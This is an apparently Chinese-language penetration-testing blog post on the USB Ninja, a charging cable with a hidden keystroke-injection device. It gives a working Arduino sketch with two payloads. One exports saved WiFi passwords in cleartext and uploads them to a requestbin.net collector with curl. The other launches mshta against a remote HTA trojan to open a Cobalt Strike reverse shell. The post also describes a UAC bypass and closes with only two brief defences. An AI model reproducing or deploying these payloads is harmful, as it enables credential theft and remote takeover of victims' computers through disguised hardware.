'黑客近源渗透利器之USB ninja'

USB ninja 翻译过来就是USB忍者,算是badusb的一种,属于HID攻击设备。在那之前我们先了解下什么是HID攻击

HID攻击原理

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的usb ninja利用的是虚拟键盘来实现恶意代码的执行,而它与badusb不同的是,它把代码隐藏在数据线中,更具有迷惑性。

介绍一下常见HID设备

大黄鸭
树莓派zero W
WHID
USB ninja

设备介绍

拿到手之后,里面有以下几样东西
1、数据线(我要了type-C的接口,因为现在手机主流都是type-C)
2、外壳
3、天线
4、触发代码上传机制的磁铁
5、主板

电池介绍

使用为LIR2032 3.7V可充电电池,而还有一种电池与它相似CR2032 3V一次性电池
当我们的可充电电池寿命用尽时,请去五金店购买LIR2032,切记不要买错,因为给CR2032充电可能会发生爆炸(切记)

组装没啥难度,直接把外壳用螺丝刀拧上就行了

软件介绍

使用Arduino 进行编写代码,下载链接如下
https://share.weiyun.com/5aNlfTg

函数介绍

Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup 函数和一个 loop 函数。程序启动,首先调用 setup,这个函
数只被调用一次,loop 函数会被不停的重复调用下去。

软件设置

点击文件,首选项,进行设置开发板管理器
http://usbninja.com/arduino/package_USBNinja_index.json

设置完成后,点击工具,开发板管理,进行加载管理器,需VPN,然后拉到最下面,有个USB ninja进行安装


烧录时开发板选择USB Ninja cable(BLE+Hall sensor)

代码示例与演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <NinjaKeyboard.h>

void setup()
{
//SetRunOnce(PAYLOADA,true);
//SetRunOnce(PAYLOADB,true);
//If you want payload to run only once, run this function.
}
//
void loop() {}


/*
When the Bluetooth remote control button A is pressed.
The program in payloadA() will be executed in a loop.
Until the button A is released.
*/


void payloadA()
{

USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(200);
NinjaKeyboard.print(F("cmd"));
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.delay(1000);
NinjaKeyboard.println("netsh wlan export profile key=clear && type *.xml >666.txt && curl http://requestbin.net/r/12zzzzz1 -F file=@666.txt && exit"); //获取WIFI信息,平台使用的http://requestbin.net相当于ceye平台数据外带
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.end();
USBninjaOffline();
NinjaKeyboard.begin();
}

void payloadB()
{

USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //按下win键+R键
NinjaKeyboard.delay(100);
NinjaKeyboard.println("mshta.exe http://127.0.0.1/1.hta"); //运行CS木马反弹shell
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_ENTER); //回车
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.delay(500);
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.end();
USBninjaOffline();
NinjaKeyboard.begin();
}

验证完代码之后,进行上传,会提示插入数据线

/>Please plug in the USBNinja device …

插入姿势

1、paylaodA

获取WIFI信息,使用平台http://requestbin.net
执行之后获得目标机的WIFI信息,在平台进行查看
name为WIFI的名字
protected为密码是否加密
KeyMaterial为密码
在测试的时候只发现一个明文密码,可正常连接该WIFI,其他都为加密密码。

2、payloadB

使用CS生成.hta结尾的木马


按下A按钮,执行payloadB,反弹shell

UAC绕过(badusb也可使用)

看到网上好多说用模拟点击进行绕过的,其实不用那么麻烦。
直接可以使用Alt+y绕过UAC,在执行HID攻击时我们需要使用管理员的权限可执行ctrl+shift+enter。

防御手段

1、不使用未知来源的U盘,数据线等与电脑交互的设备。
2、使用转接器,如下图所示

加入知识星球获取更多渗透资料